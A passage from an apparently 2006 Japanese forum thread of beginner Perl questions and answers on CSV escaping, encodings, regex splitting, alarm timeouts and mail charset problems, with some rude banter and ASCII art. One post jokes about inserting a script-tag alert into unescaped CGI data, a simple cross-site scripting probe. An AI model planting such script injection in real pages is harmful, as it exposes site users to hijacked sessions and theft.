で問題解決しそうですね。
ありがとうございました。
0457デフォルトの名無しさん
2006/08/07(月) 10:57:44$in{'CONTENTS'} =~ s/,/¸/g;
0458デフォルトの名無しさん
2006/08/07(月) 11:07:09ちょw"\0"使えよ
0459デフォルトの名無しさん
2006/08/07(月) 11:27:250460デフォルトの名無しさん
2006/08/07(月) 11:29:280461デフォルトの名無しさん
2006/08/07(月) 11:58:08ちょっと知識つけただけの素人さんだったか。
ネット上でアホがいろいろ言ってるようだけど、いくつかの実験で
カルシウム欠乏だけでストレス増してるのが観測されてるよ。
0462デフォルトの名無しさん
2006/08/07(月) 12:32:45うまく行きました^^
ところで、既存のデータで既に「,(半角コンマ)」になってるものを
修正する際には
「,」→「\0」の置き換えでいいのですか?
メモ帳でこの置き換えをしたら文字として認識されてしまいそうで^^;
もしくは新しく出来上がったデータの \0にあたる部分をコピペして
置き換えでいいですか?
何度もすみません
0463デフォルトの名無しさん
2006/08/07(月) 12:54:24,
つーか、どうせ出力はHTMLなんだから,を見つけたら,に変換しとけばいいじゃん。
0464463
2006/08/07(月) 12:55:18&#44;
つーか、どうせ出力はHTMLなんだから,を見つけたら&#44;に変換しとけばいいじゃん。
0466デフォルトの名無しさん
2006/08/07(月) 13:03:08神様ありがとうございました^^;
0467デフォルトの名無しさん
2006/08/07(月) 13:14:15実行されるかは不定ですだから実行順序に依存
した処理はするなと本にありました
i = a() + b();
perlではどうなのでしょうか?
i = a() + b();としたときa()とb()は必ずa(),b()の順で
実行されるのでしょうか?それとも不定なのでしょうか?
0468デフォルトの名無しさん
2006/08/07(月) 13:29:06よーしパパ元データに <script type='text/javascript'>alert('Hello');</script> って居れちゃうぞー
0469デフォルトの名無しさん
2006/08/07(月) 13:35:27評価の順番に依存するプログラムを書くべきではない。以上。
0470デフォルトの名無しさん
2006/08/07(月) 14:50:59exit;
だけが許されるってことか。
0471デフォルトの名無しさん
2006/08/07(月) 14:54:52処理系実装がどうかは置いとくとして、本質は同じ。
評価順を保証したければあらかじめ返値を保存して使えば目的は果たせるけれど、あんまりうれしくない。
$i = &a() + &b();
これを見て多くの人は、各項がいつ確定しようが $i は変わらないと感じるでしょう。
評価順への依存に気付き、その依存の内容を知るには、各関数でどのような副作用が生じているかを読み解かねばなりません。
結果としてコードがとても読みづらくなり、従ってある程度の量のコメントを必要とし、そしてある日突然動作しなくなる可能性があります。
ですからこのようなコードに直面した場合は構造化手法を見直したほうが良いでしょう。
0472デフォルトの名無しさん
2006/08/07(月) 15:01:18TSV じゃダメなの? 値中の \t は s/\t/ /g するなり、s/\t/	/g するなり。
# てか /&nsbp;/ /
0473デフォルトの名無しさん
2006/08/07(月) 16:34:12それ評価順の問題じゃなく関数がへぼいだけじゃん。
そんでもって引数が同じで結果が違うのは関数じゃないじゃん。
0474デフォルトの名無しさん
2006/08/07(月) 17:15:05> それ評価順の問題じゃなく関数がへぼいだけじゃん。
なので関数の括り出し方などを考え直そうね、という主旨です。
ちょっと分かりづらかったかもしれませんね。
> そんでもって引数が同じで結果が違うのは関数じゃないじゃん。
サブルーチンと言い換えても構いません。Perl においては単に呼称の問題なので。
a() が b() に影響を与える (またはその逆) 処理を行っていたとして、どちらが先に評価されるかで式の結果が変わる、
あるいは式の結果には影響を与えないが、他の部分でその式における両サブルーチンの処理順に依存した処理を行っている、
などという設計は早晩破綻するに決まっているのでショボーンだよ、という話でした。
0475デフォルトの名無しさん
2006/08/07(月) 18:58:47スクリプトをUTF8で書いて、use encoding(utf8)を使うと、デバッグができません。
use encoding(utf8);
print "Hello world";
これをデバッグしようとperl -d で実行すると
perl(24137) malloc: *** vm_allocate(size=4274921472) failed (error code=3)
perl(24137) malloc: *** error: can't allocate region
perl(24137) malloc: *** set a breakpoint in szone_error to debug
Out of memory!
Cannot create second readline interface, falling back to dumb.
at /Library/Perl/5.8.6/Term/ReadLine/Perl.pm line 31
Term::ReadLine::Perl::new('Term::ReadLine', 'perldb', 'GLOB(0x183fff8)', 'GLOB(0x181129c)') called at /System/Library/Perl/5.8.6/perl5db.pl line 6029
DB::setterm called at /System/Library/Perl/5.8.6/perl5db.pl line 2034
DB::DB called at /System/Library/Perl/5.8.6/perl5db.pl line 9421
DB::fake::at_exit() called at /System/Library/Perl/5.8.6/perl5db.pl line 8993
DB::END() called at test line 0
eval {...} called at test line 0
perl(24137) malloc: *** vm_allocate(size=4287860736) failed (error code=3)
perl(24137) malloc: *** error: can't allocate region
perl(24137) malloc: *** set a breakpoint in szone_error to debug
こんな感じになります。解決方法があったら教えてください。
0476デフォルトの名無しさん
2006/08/07(月) 19:32:12スクリプトをUTF8で書かない、use encoding(utf8)を使わない。
0477デフォルトの名無しさん
2006/08/07(月) 19:34:04use encoding を使うとデバッガは使えない。
たぶん、use utf8 を使うべきじゃないかな。
>>473
Perlでは time() も sleep() も関数。
そして、time()+sleep(10) という式の値は評価順によって異なる。
もちろん、「time()が関数でない」「time()やsleep()がへぼいだけ」等の
可能性は否定しない。
しかし、これは評価順の問題として扱うのが妥当だろう?
0478475
2006/08/07(月) 20:03:06>>476 アリガトン。use utf8だとデバッグはできるんですが、スクリプトを少し書き直す必要があるんです。
でも、use encodingが使えないなら、use utf8で書き直してみたいと思います。
0479デフォルトの名無しさん
2006/08/07(月) 21:15:57Input typeがcheckboxならばcgi-lib.plで処理出来るのですが
hiddenの時も同じように処理は出来ないのでしょうか?
&ReadParseの力を使っても何も表示されませんでした。お願いします。
0481479
2006/08/07(月) 21:41:05初心者ですみません。
いつも簡単なPerlの質問はこのスレッドで質問させて頂いたのですが
他に適した場所がございましたら誘導お願いします。
0482デフォルトの名無しさん
2006/08/07(月) 21:45:27おまえか!
ヒント:あなたの質問は
x Perl
o CGI
です。
にしても>>475は自分のこと棚に上げて何のつもりだか。
0483デフォルトの名無しさん
2006/08/07(月) 21:46:39WebProg板へどうぞ
http://pc8.2ch.net/test/read.cgi/php/1153987463/l50
0484479
2006/08/07(月) 21:51:45すみません、誘導ありがとうございました。
以後気をつけます。
0486デフォルトの名無しさん
2006/08/07(月) 21:56:06面白くないよ。
0487475
2006/08/07(月) 21:56:340488デフォルトの名無しさん
2006/08/07(月) 23:12:25> >>475 それくらいわかってる上での質問デスヨ
# アンカーがアレなのは置いといて、
あなた様がどれくらいわかっているのかについて、私どもは事前にお示し頂いておりません。
ゆえに >>476 の無礼も無理からぬ事と存じます。ここはどうか寛大なお心でご勘弁ください。
0489デフォルトの名無しさん
2006/08/07(月) 23:24:22(念の為、事前に示しておいたワケ。)
0490デフォルトの名無しさん
2006/08/07(月) 23:26:18480が誰だとかそういう以前の問題だろ。二度と来ないで欲しい。
0491デフォルトの名無しさん
2006/08/07(月) 23:28:20無礼なのはお前と>>475だけだろ?
0492デフォルトの名無しさん
2006/08/08(火) 03:23:12cト cト /^、_ノ | 、.__ つ (.__  ̄ ̄ ̄ ̄ ・ ・
ミミ:::;,! u `゙"~´ ヾ彡::l/VvVw、 ,yvヾNヽ ゞヾ ,. ,. ,. 、、ヾゝヽr=ヾ
ミ::::;/  ゙̄`ー-.、 u ;,,; j ヾk'! ' l / 'レ ^ヽヘ\ ,r゙ゞ゙-"、ノ / l! !ヽ 、、 |
ミ/ J ゙`ー、 " ;, ;;; ,;; ゙ u ヾi ,,./ , ,、ヾヾ | '-- 、..,,ヽ j ! | Nヾ|
'" _,,.. -─ゝ.、 ;, " ;; _,,..._ゞイ__//〃 i.! ilヾゞヽ | 、 .r. ヾ-、;;ノ,.:-一'"i
j / ,.- 、 ヾヽ、 ;; ;; _,-< //_,,\' "' !| :l ゙i !_,,ヽ.l `ー─-- エィ' (. 7 /
: ' ・丿  ̄≠Ξイ´,-、 ヽ /イ´ r. `ー-'メ ,.-´、 i u ヾ``ー' イ
\_ _,,......:: ´゙i、 `¨ / i ヽ.__,,... ' u ゙l´.i・j.冫,イ゙l / ``-、..- ノ :u l
u  ̄ ̄ 彡" 、ヾ ̄``ミ::.l u j i、`ー' .i / /、._ `'y /
u `ヽ ゙:l ,.::- 、,, ,. ノ ゙ u ! /_  ̄ ー/ u /
_,,..,,_ ,.ィ、 / | /__ ``- 、_ l l ``ーt、_ / /
゙ u ,./´ " ``- 、_J r'´ u 丿 .l,... `ー一''/ ノ ト 、,,_____ ゙/ /
./__ ー7 /、 l '゙ ヽ/ ,. '" \`ー--- ",.::く、
/;;;''"  ̄ ̄ ───/ ゙ ,::' \ヾニ==='"/ `- 、 ゙ー┬ '´ / \..,,__
、 .i:⌒`─-、_,.... l / `ー┬一' ヽ :l / , ' `ソヽ
ヾヽ l ` `ヽ、 l ./ ヽ l ) ,; / ,' '^i
0493デフォルトの名無しさん
2006/08/08(火) 05:22:35UNIX上でそれなりに歴史長いやつのユーザーには
年甲斐のない人が多いんでつね。
な ん で バ カ を 放 置 で き な い ん だ ??
0494デフォルトの名無しさん
2006/08/08(火) 08:57:35print length ('1234567890');
ってやったら30って出たんですけどどうしてですか?
0495デフォルトの名無しさん
2006/08/08(火) 09:15:330496デフォルトの名無しさん
2006/08/08(火) 09:21:21use utf8をしないでスクリプトをutf8で書いただけなんじゃないか。
0497デフォルトの名無しさん
2006/08/08(火) 09:49:51utf8では、'0123456789'が30バイトだから。
念の為、Perlの標準では1文字は1バイトで、30バイトの文字列の文字数は30。
0498デフォルトの名無しさん
2006/08/08(火) 10:15:45use encoding "shiftjis";
print length ('1234567890');
ってしたらちゃんと10って出たYO。
SJISで書いたけど。
0499デフォルトの名無しさん
2006/08/08(火) 10:41:59文字列の桁揃えをして出力するいい方法は無いでしょうか。
0500デフォルトの名無しさん
2006/08/08(火) 10:59:19お前が死ねばいい。
0501デフォルトの名無しさん
2006/08/08(火) 10:59:200502デフォルトの名無しさん
2006/08/08(火) 11:00:06自演うぜえ。
0503デフォルトの名無しさん
2006/08/08(火) 11:03:58かぁさん初めて自演したから
ごめんね
0504デフォルトの名無しさん
2006/08/08(火) 11:08:120505デフォルトの名無しさん
2006/08/08(火) 11:11:25>>502は勢い余ってって感じだが、>>500の指摘なんてそれこそ見てればわかるな。
0506デフォルトの名無しさん
2006/08/08(火) 11:17:17自演って自分で問題提起して自分で返事するみたいなやつよね?
>>494が>>499と同じ人なのは予想できるけど、>>501 以降はマジわかんない・・・。
何か見方があるのかと思ったけど洞察力なのか (´・ω・`)
0508デフォルトの名無しさん
2006/08/08(火) 11:27:21このフォローが自演の証。
0509デフォルトの名無しさん
2006/08/08(火) 11:29:14自演だってなんだっていいよ。それより頼むから馬鹿な質問に条件反射で答えないでくれ。
0510デフォルトの名無しさん
2006/08/08(火) 11:35:27とか。
0511デフォルトの名無しさん
2006/08/08(火) 12:52:080512デフォルトの名無しさん
2006/08/08(火) 13:14:16あれこそモジュールでいいような。
0513デフォルトの名無しさん
2006/08/08(火) 15:07:54知ってるけど今回の文字幅の問題をなんとかしてくれるようなもの
だったっけ?
0514494
2006/08/08(火) 18:24:300515494
2006/08/08(火) 18:25:500516デフォルトの名無しさん
2006/08/08(火) 20:46:17ttp://www.r-agent.co.jp/event/EventKijiDetail/fmlist/1/id/2000252/cat/100.html?vos=nabladww0180000008
いや、決して宣伝ではないから。
0517デフォルトの名無しさん
2006/08/08(火) 21:01:250518デフォルトの名無しさん
2006/08/08(火) 21:04:00FTP転送を行うスクリプトttp://joe.ash.jp/pc/netprog/ftp.pl.txtに
alarm関数を使いFTPサーバー側の応答が指定した時間(秒)なければ待つのをやめて
次の処理へ進むという処理を追加したいと思ってます。
しかし、alarmによるタイムアウト処理のサンプルを探してくると以下のように
dieでスクリプトを終了させてしまうものばかり出てきます。
$timeout = 30; # タイムアウトまでの時間(秒)
$SIG{ALRM} = sub {
if ( defined $pid ){
kill 'TERM',$pid;
}
die "FTP TIMEOUT...";
};
alarm($timeout);
サーバーの応答を待つ処理だけを中止して次の処理へ進むようにすることは
できないのでしょうか?
環境は以下の通りです。
OS: Linux 2.6.9-1.667 #1
Perl: v5.8.5
0519デフォルトの名無しさん
2006/08/08(火) 21:12:16eval { # try
$SIG{ALARM} = sub {
...
die "FTP TIMEOUT..."; # throw
};
alarm($timeout);
};
if ($@) {
# catch(timeout)
}
0520デフォルトの名無しさん
2006/08/08(火) 23:17:320522デフォルトの名無しさん
2006/08/09(水) 13:22:11テスト1:<b>テスト結果1</b>テスト2:<h1>テスト結果2</h1>テスト3:<u>テスト結果3</u>
という上のデータを読み込んだ時、それぞれテスト結果1〜テスト結果3までを$TEST1〜$TEST3の変数に
入れたとき、どうすればいいでしょうか?
split関数で割りまくっていくしか方法はないですか?
ちなみにテスト1:<b>$TEST1</b>テスト2:<h1>$TEST2</h1>テスト3:<u>$TEST3</u>
みたいな書式から変数を割り出せればよいのですが・・・
0523デフォルトの名無しさん
2006/08/09(水) 13:45:22$hoge = s/テスト1:<b>(.*)<\/b>テスト2:<h1>(.*)<\/h1>テスト3:<u>(.*)<\/u>/$1\t$2\t$3/;
初心者でかつ、web系は↓へ
http://pc8.2ch.net/test/read.cgi/php/1153987463
0524デフォルトの名無しさん
2006/08/09(水) 14:07:13> やっぱりselectで、できるんですか。。
Net::FTPなんかはselect使いまくりだが。
0525デフォルトの名無しさん
2006/08/09(水) 14:58:51結果が変です。どなたか教えてください。
結果:
123456
123456123456
#!/usr/bin/perl -w
my @list1 = (1, 1, 2, 3, 4, 5, 6);
my @list2 = (1, 2, 3, 4, 3, 2, 5, 6, 1, 4, 6, 4, 6, 5);
print delete_repeated_element(@list1);
print "\n";
print delete_repeated_element(@list2);
0526デフォルトの名無しさん
2006/08/09(水) 14:59:29my @list_in = @_;
while(@list_in){
my $element = shift(@list_in);
@list_in = delete_element($element, @list_in);
push(@list_out, $element);
}
return @list_out;
}
sub delete_element{
my ($a, @list_in) = @_;
my $element;
my @list_out;
foreach $element(@list_in){
push(@list_out, $element) unless $element == $a;
}
return @list_out;
}
0527デフォルトの名無しさん
2006/08/09(水) 15:06:25@list_outがグローバルなんですね。
0528デフォルトの名無しさん
2006/08/09(水) 15:28:520529デフォルトの名無しさん
2006/08/09(水) 15:38:03my @list1 = (1, 1, 2, 3, 4, 5, 6);
my @list2 = (1, 2, 3, 4, 3, 2, 5, 6, 1, 4, 6, 4, 6, 5);
my @uniq1 = uniq sort @list1;
print "uniq1: @uniq1\n";
my @uniq2 = uniq sort @list2;
print "uniq2: @uniq2\n";
0530デフォルトの名無しさん
2006/08/09(水) 17:33:32が、大項目の頭の1文字が消えてしまいます。(DATA1がATA1になってしまう)
splitで/\n[^\t]/を区切りにしている為だと思うのですが、
うまくsplitする方法はないでしょうか?
スマートにやることが目的です。
$cat kugiri.pl
$/='';
open(IN, 'file1.dat');
my $readfile=<IN>;
close(IN);
@lines=split(/\n[^\t]/, $readfile);
$cat file1.dat
DATA1
<tab>a
<tab>b
DATA2
<tab>c
<tab>d
<tab>e
※<tab>=タブ(\t)
0531デフォルトの名無しさん
2006/08/09(水) 17:44:46> @lines=split(/\n[^\t]/, $readfile);
これでどう?
@lines=split(/\n(?!\t)/, $readfile);
0532デフォルトの名無しさん
2006/08/09(水) 18:32:22そのような演算子はありますか?
0533デフォルトの名無しさん
2006/08/09(水) 18:35:51演算子はないと思う。
0534デフォルトの名無しさん
2006/08/09(水) 18:35:560535デフォルトの名無しさん
2006/08/09(水) 18:36:44my $bit = 2; # セットしたいbit位置(を1にした値)
my $flag = 1; # セットするflag状態 0 or 1
として、bitのset、resetを行うような処理を、
my $mask = ~$bit;
$flags &= $mask;
$flags |= $bit if $flag;
こう書いているのですが、もうちょっとなんとかなりませんかね。
0536デフォルトの名無しさん
2006/08/09(水) 19:35:17vec
0537デフォルトの名無しさん
2006/08/09(水) 19:45:50もうね・・疲れたよ
UTF-8フラグとか、UTF-8Nで保存とか
なんでperlは、いろいろ面倒なの?
でもねでもね、完成したときは今までで一番嬉しかったよ
0538デフォルトの名無しさん
2006/08/09(水) 22:08:52my(@a, @b) = (@x, @y);
とすると、
@a == (@x, @y)
@b == undef
となりますが、
@a == @x
@b == @y
とする簡単な方法はありますでしょうか?
サブルーチンへの引数として二つのリストを渡すときに
問題になると思いますので、簡単な方法があるのでは
ないかと思いますがいかがでしょうか?それともわざわざ
二つのリストの長さも引数として渡さなければならないの
でしょうか?
0539デフォルトの名無しさん
2006/08/09(水) 22:14:10サブルーチンへ渡すときはリファレンスを。
func( \@a, \@b );
> my(@a, @b) = (@x, @y);
の場合なら
@a = @x;
@b = @y;
と書くのが分かりやすいのでは。
0540デフォルトの名無しさん
2006/08/09(水) 22:17:28ありがとうございます。
はじめてのPerlには載っていなかったので分かりませんでした。
0541デフォルトの名無しさん
2006/08/09(水) 23:22:10@lines=split(/(?=^DATA)/m, $readfile);
0542デフォルトの名無しさん
2006/08/10(木) 06:55:25すると
***略***
t/fileline............ok 6/11FAILED 9: - template text 3 did not match expected
t/fileline............FAILED test 9
Failed 1/11 tests, 90.91% okay
***略***
になり、
installできないんだけど。どうしてかな?
環境は、FreeBSD6.1
0543530
2006/08/10(木) 10:18:40>>531
(?!regexp)を知りませんでした。ありがとうございます。
>>541
大項目名はDATAで始まるとは限りませんのでこれは使えませんね。
因みに$/=''としている場合、mオプションは有効なのでしょうか?
0544デフォルトの名無しさん
2006/08/10(木) 10:56:19パソコンに関してはPC-DOSやbashでバッチファイルを作るぐらいのことしかしたことがない。
そんな俺が切実な事情でperlを上級レベル、職業レベルにまで高めたい。
毎日2時間は学習時間が取れる。3ヶ月で可能だろうか?
この手の言語を取り扱う人が余裕や見栄で言う、「そんなもん1週間でできるぞ」みたいなレスは今回は辞退したい。
何を要にして学習すればいいのか、キーワードだけでも教えてくれんだろうか。
0545デフォルトの名無しさん
2006/08/10(木) 11:06:43つ[続・初めてのPerl]
つ[Perlクックブック]
つ[プログラム言語Perl]
つ[実用Perlプログラミング]
つperldoc
つCPAN
つGoogle
つ「ひたすら手を動かすべし」
0546デフォルトの名無しさん
2006/08/10(木) 12:03:35//m 有効だよ。っつーか試せばいいじゃん。
@lines = split /^(?!¥t)/m, $readfile ;
@lines = split /^(?!¥t)/, $readfile ;
0547デフォルトの名無しさん
2006/08/10(木) 12:52:45なにがしたいの?
1000時間単位で言語を使ってても、出来ることもあるし、出来ないこともいっぱいあるよ。
まあ、何をどうしたいのかによって答えは違う。
Perlで綺麗な記述(分かった記述)を書くのは最低でも1000時間必要かと思う。
0548544
2006/08/10(木) 13:16:03やっぱりオライリーのやつが定番か。サンクス
>>547
いわゆるwebプログラマとして扱うperlではなくて、UNIXサーバの各種オペレーションやバッチ処理、
ネットワーク機器のオートパイロットやログ解析に使いたい。
昔sed/awkというものがあったと思うけど、ああいうものを使ってやることをperlで、ってことかなぁ。
なのでCGIとかの技術には興味なしです。
0549デフォルトの名無しさん
2006/08/10(木) 13:17:24> 毎日2時間は学習時間が取れる。3ヶ月で可能だろうか?
もっとも大きなファクターは、あなたの才能。
> 何を要にして学習すればいいのか、キーワードだけでも教えてくれんだろうか。
わたしは、新しい言語をマスターする時は、何か適当な大きさのカタマリを
作ってみるが。
あとは、「あれもこれも出来るように」なることではなく、
「あれやこれをしたいと思った時にそのやりかたを調べる方法」を
掌握するのが目標だということを忘れずに。
0550デフォルトの名無しさん
2006/08/10(木) 13:30:17perl4相当の勉強でもなんとかなりそうな話にも見えるし。
俺のperlはここからはじまった。
ttp://www.tohoho-web.com/wwwperl.htm
0551デフォルトの名無しさん
2006/08/10(木) 13:51:45プログラム初心者が2時間×3ヶ月で辿り着けるのは
いいとこ中級レベルじゃないかな。
言語を敷居の低いPHP(CLI版)にするか勉強時間を
増やすかの妥協をしないと無理だと思う。
0552デフォルトの名無しさん
2006/08/10(木) 13:52:153ヶ月なら、1日2時間じゃ足りないと思う。せめて3時間は欲しい。
0553デフォルトの名無しさん
2006/08/10(木) 13:56:340554デフォルトの名無しさん
2006/08/10(木) 14:03:200555デフォルトの名無しさん
2006/08/10(木) 14:09:06その程度のことなら1週間で余裕。
むしろPerlよりもシステム管理についての知識のほうが重要。
0556デフォルトの名無しさん
2006/08/10(木) 14:12:361週間しかPerl勉強した事の無い奴に会社の鯖任せられないって。
0557デフォルトの名無しさん
2006/08/10(木) 14:18:27人によってかかる時間が100倍も違ったりします。
0558デフォルトの名無しさん
2006/08/10(木) 15:00:27perlよりもUNIXやネットワークの勉強が重要な気がする。
0559デフォルトの名無しさん
2006/08/10(木) 15:10:21興味のないものを永遠とだらだらやっててもそりゃ100年たっても終わらない。
俺は4年間で10以上の言語覚えたけど、才能があるかって言ったらそうじゃないわけで。
プログラミング言語を作る、という目標から自然に起こった動機がそれを可能にしたんだと思う。
0560544
2006/08/10(木) 15:27:45拝承。やっぱりそれで正解なのかな。
googleで、自分のやりたいことに近いことをやっている人を見つけて、
そこに書いてることを理解していく、というやり方は反則なのかなと思っていた。
>550
ブックma-kuした。thx
>551
>552
>553
>554
実際は5ヶ月なのを余裕をもって3ヶ月としてみた。
死ぬ気でやってみる。ありがとう。
OOPとやらについてはおいらはPGじゃないので必要になる局面が無い。
>555
>556
>558
もともとL1〜L3のインフラ屋(足回り)やFW、IDS運用者だったんだけど今まではTERATERMやExcelでしのいできた。
それだとあまりに非効率なので。UNIXについてはFreeBSDしかしらないけど今後触れる機会が増えそうなので。
>557
>559
「必要に迫られている」状態なので気持ちで乗り切る。ガンバル
0561デフォルトの名無しさん
2006/08/10(木) 15:30:170562デフォルトの名無しさん
2006/08/10(木) 16:19:50OOP要らないって言うけど、使いたいモジュールがOOPで書かれてたりすると
最低限は知っておかなきゃいけなくなる。
ネットワーク系のモジュール多いし。
全部自分でやろうとせずに、既にあるものについてはそれ使った方が良い。
まぁ、それでも相当数は書く事になるでしょう。
あとテストは慎重に。
場合によってはノンパスワードのsshやら、sudoやらを
使わなければいけなくなると思うので。
と、大手ISPでperlを腐る程書いた俺が言ってみる。
0563デフォルトの名無しさん
2006/08/10(木) 20:16:28彼の用途だとRubyでいいのでは
ネットワーク機器の処理ならexpectでいいとも思うけど
0564デフォルトの名無しさん
2006/08/10(木) 20:31:47お客さんのマシンがあると、インストールさせてもらえなかったり。
ということで消去法的にPerlになっちゃう。
Rubyで書いた事もあるけど、会社の人間が新しい言語が混じるのを喜ばない。
0565デフォルトの名無しさん
2006/08/10(木) 21:22:20私も同じ理由でperlを使ってたんだけど、
最近はCPANモジュール使ったりで結局インストールして回ってたりします。orz
0566デフォルトの名無しさん
2006/08/10(木) 22:16:250567デフォルトの名無しさん
2006/08/10(木) 22:22:32line 3."とエラーが出るのですが、
use warningsを外さないでエラーを出さないようにする方法はないですか?
#!/usr/bin/perl
use warnings;
if($ARGV[0] eq 'test'){ print "TEST"; }
0568デフォルトの名無しさん
2006/08/10(木) 22:36:350570デフォルトの名無しさん
2006/08/10(木) 23:32:30$val = (defined $ARGV[0]) ? $ARGV[0] : "";
とかしたほうが無難な気がする・・・
0571567
2006/08/10(木) 23:49:49確かに$ARGV[0]を書き換えるのはよろしくない気がします。
変数は使わずに↓のようにしてみました。
if((defined($ARGV[0]) ? $ARGV[0] : '') eq 'test'){ print "TEST"; }
0572デフォルトの名無しさん
2006/08/11(金) 00:00:33if( defined $ARGV[0] and $ARGV[0] eq 'test' ){....}
やん?
0574デフォルトの名無しさん
2006/08/12(土) 11:56:090576デフォルトの名無しさん
2006/08/12(土) 12:03:180577デフォルトの名無しさん
2006/08/12(土) 12:13:540578デフォルトの名無しさん
2006/08/14(月) 10:48:08$tmp = "1234dfg";
$tmp =~ tr/123//;
print $tmp;
これの出力結果がなぜか 1234dfg のままなのですが
なぜ 4dfg にならないのでしょうか
perlのバージョンは v5.8.4 です。
0579デフォルトの名無しさん
2006/08/14(月) 10:52:52>>578
削除したければ
$tmp =~ tr/123//d;
詳しくは
> perldoc perlop
0580デフォルトの名無しさん
2006/08/14(月) 21:44:40皆の言う取り素養に寄るところが大きいとは俺も思うが努力で十分カバーできると思うよ。
エジソンの名言があるだろ?
「天才とは99%の努力と1%の才能である」
自分の才能の99倍の努力をすれば夢は叶う、夢を叶えられる人間こそ「天才」なのだと俺は解釈している。
ガンガレ!!
0581デフォルトの名無しさん
2006/08/14(月) 22:22:30ちがうちがう。エジソンちがう。
○ 「天才とは 1%のひらめきと99%の努力 である」
0582デフォルトの名無しさん
2006/08/14(月) 22:24:150583デフォルトの名無しさん
2006/08/14(月) 22:36:360584デフォルトの名無しさん
2006/08/14(月) 22:47:05しかし "才能" のニュアンスは gift とか sense に近くて inspiration ではないよーな。
ひらめくけど努力しないやつ = 器用貧乏
ひらめかないけど努力はするやつ = サラリーマン
?
0585デフォルトの名無しさん
2006/08/14(月) 23:19:56>#!/usr/bin/perl
>use warnings;
>if($ARGV[0] eq 'test'){ print "TEST"; }
if("$ARGV[0]" eq 'test'){ print "TEST"; }
適当だけどこれでどう?
0586デフォルトの名無しさん
2006/08/14(月) 23:24:05器用貧乏ってそういう意味じゃないんじゃないの?
はっきりと意味を分かっているわけじゃないけど、漠然とした感じがすでに違うと思う。
0587デフォルトの名無しさん
2006/08/15(火) 00:33:18ははは
0588デフォルトの名無しさん
2006/08/15(火) 00:37:42スクリプトのコーディングを練習して上達するということにひらめきは全く必要ないかと。
「天才とは99%の努力と1%のひらめきである」の言葉の本質は
世の中で過去の経験則で成り立っている常識の概念に変化を与える道筋を見つけるのには
まずひらめきというあかりが必要で、その道筋を見つけてもそれが間違った道でないと
証明しインパクトを与えるには先駆者として沢山の様々な障壁を継続的に解決する
努力も求められるよということで、
>>544がやろうとしていることには全くの新規性がなく
既に沢山の先駆者が存在しドキュメントも非常に豊富。
なので544に求められる能力はひらめきではなく学習能力の高さと学習の量。
これは見たことも会ったこともなく客観的なデータもない状態で
544の書込みからは3ヶ月、1日2時間ずつと学習の量だけしか示されてないので
544にはできるかと評価しろといわれても難しいと思う(すくなくとも俺には無理)。
あと「perlを上級レベル」というのも544にとってなにをもって上級と感じるのか、
「職業レベル」というのはとりあえず動いているスクリプトで金銭を受け取っているから職業レベルとするのか
技術を売るからには責任を持って事にあたれ、常に情報を継続的に収集・検証できてる人を指すのかで非常にレベルの差がある。
どういうイメージしてるのかわかんないけど
職業レベルというからにはperlのコーディングを覚えて終わりではなくて
システムとネットワークの知識、情報収集力もそれなりに必要になるよ。
ぶっちゃけ、1日2時間しか取れないんだとよほど学習能力高くねぇと無理じゃね?
ちゃんと技術力のある会社にバイトとして入って徹夜もいとわず1日中仕事に就きながら
スパルタで仕込まれ、3ヶ月間逃げ出さなければいけるよ。
0589デフォルトの名無しさん
2006/08/15(火) 00:51:06>スパルタで仕込まれ、3ヶ月間逃げ出さなければいけるよ。
それが難しいとか。
0590デフォルトの名無しさん
2006/08/15(火) 01:16:35/.から来た人?
0591588
2006/08/15(火) 01:19:00ごもっとも。
上記のことを実行するとなると
ちゃんとした会社を探だし、
雇用を獲得し、
絶望的なまでのレベルの差のプレッシャーにめげず、
毎日あたりまえのように長時間就業しても
体・心ともに健全でいられること
という結構難しい条件をクリアしないといけないです。
でも他のプログラミング言語経験がなく
システム/ネットワーク設計・構築・運用がない人間(544の書込みで勝手に推定)が
職業できちんと通用するスキルを短期間で獲得となると、
それなりの努力は必要だと思う。
0592デフォルトの名無しさん
2006/08/15(火) 01:21:080593588
2006/08/15(火) 01:26:53あぁ、めんご、591のカキコでは「技術力が」が抜けてた。
588の方ではちゃんとはいってるッス。
>>590
2chも/.も/.Jも読むけどなんで?
./からこのスレにリンクされてるの?
0594デフォルトの名無しさん
2006/08/15(火) 01:44:460596デフォルトの名無しさん
2006/08/15(火) 12:00:40送信すると文字化けするんです
jcodeで文字コードを変換してるんだけど↓
jcode'convert(メール本文, "jis");
なにか駄目なところがありますでしょうか?
携帯に送ると文字化けしないんです
SMTPサーバーのOSはFedora Core3です
0597デフォルトの名無しさん
2006/08/15(火) 12:08:390598デフォルトの名無しさん
2006/08/15(火) 12:14:26charsetは適切に設定していますか?
情報が足りなさすぎ!
とりあえず送信したのをヘッダー付でここに貼り付けろ!
質問はそれからだ。
0599596
2006/08/15(火) 12:50:45>>598
回答ありがとうございます。
情報不足すみませんでした。
おそらくsubjectにMIMEエンコードしていないことが
原因かなと気付きました。現在テストできない状況なんです・・・。
件名は文字化けしていないのですが、
最後の1文字が切れていましたので
怪しいなぁと。
charsetは未設定でした。
テストの結果はまたご報告します。
0600デフォルトの名無しさん
2006/08/15(火) 13:04:400601597
2006/08/15(火) 13:06:31携帯はキャリアのgatewayが変換しているからそれなりに融通が利くんだろう。
Willcomは、端末のMUAの出来がいまいち(対応範囲が狭い)。
それでも、ヘッダ不足とかの規格外メッセージが読めないのはあたりまえ。
送出側がまずは正しいフォーマットで作成すること。
0602デフォルトの名無しさん
2006/08/15(火) 14:44:120603デフォルトの名無しさん
2006/08/15(火) 14:52:21君が無知なだけかと。
0604デフォルトの名無しさん
2006/08/15(火) 15:11:13かれが一人で自問自答してるだけだからほっとけ。
>>603
はいはいおもしろいですね。
0605603
2006/08/15(火) 15:17:540606デフォルトの名無しさん
2006/08/15(火) 16:06:55努力じゃなくて、1%のひらめきを持っていることが大切と。
0607デフォルトの名無しさん
2006/08/15(火) 16:08:29/.君うざいよ。
0608603
2006/08/15(火) 16:39:16-‐'―ニ二二二二ニ>ヽ、 ┃ ━━━━━━━━
ァ /,,ィ=-;;,,, , ,,_ ト-、 ) ┃ ┃┃┃
' Y ー==j 〈,,二,゙ ! ) 。 ┛
ゝ. {、 - ,. ヾ "^ } } ゚ 。
) ,. ‘-,,' ≦ 三
ゞ, ∧ヾ ゝ'゚ ≦ 三 ゚。 ゚
'=-/ ヽ゚ 。≧ 三 ==-
/ |ヽ \-ァ, ≧=- 。
! \ イレ,、 >三 。゚ ・ ゚
| >≦`Vヾ ヾ ≧
〉 ,く 。゚ /。・イハ 、、 `ミ 。 ゚ 。 ・
0610デフォルトの名無しさん
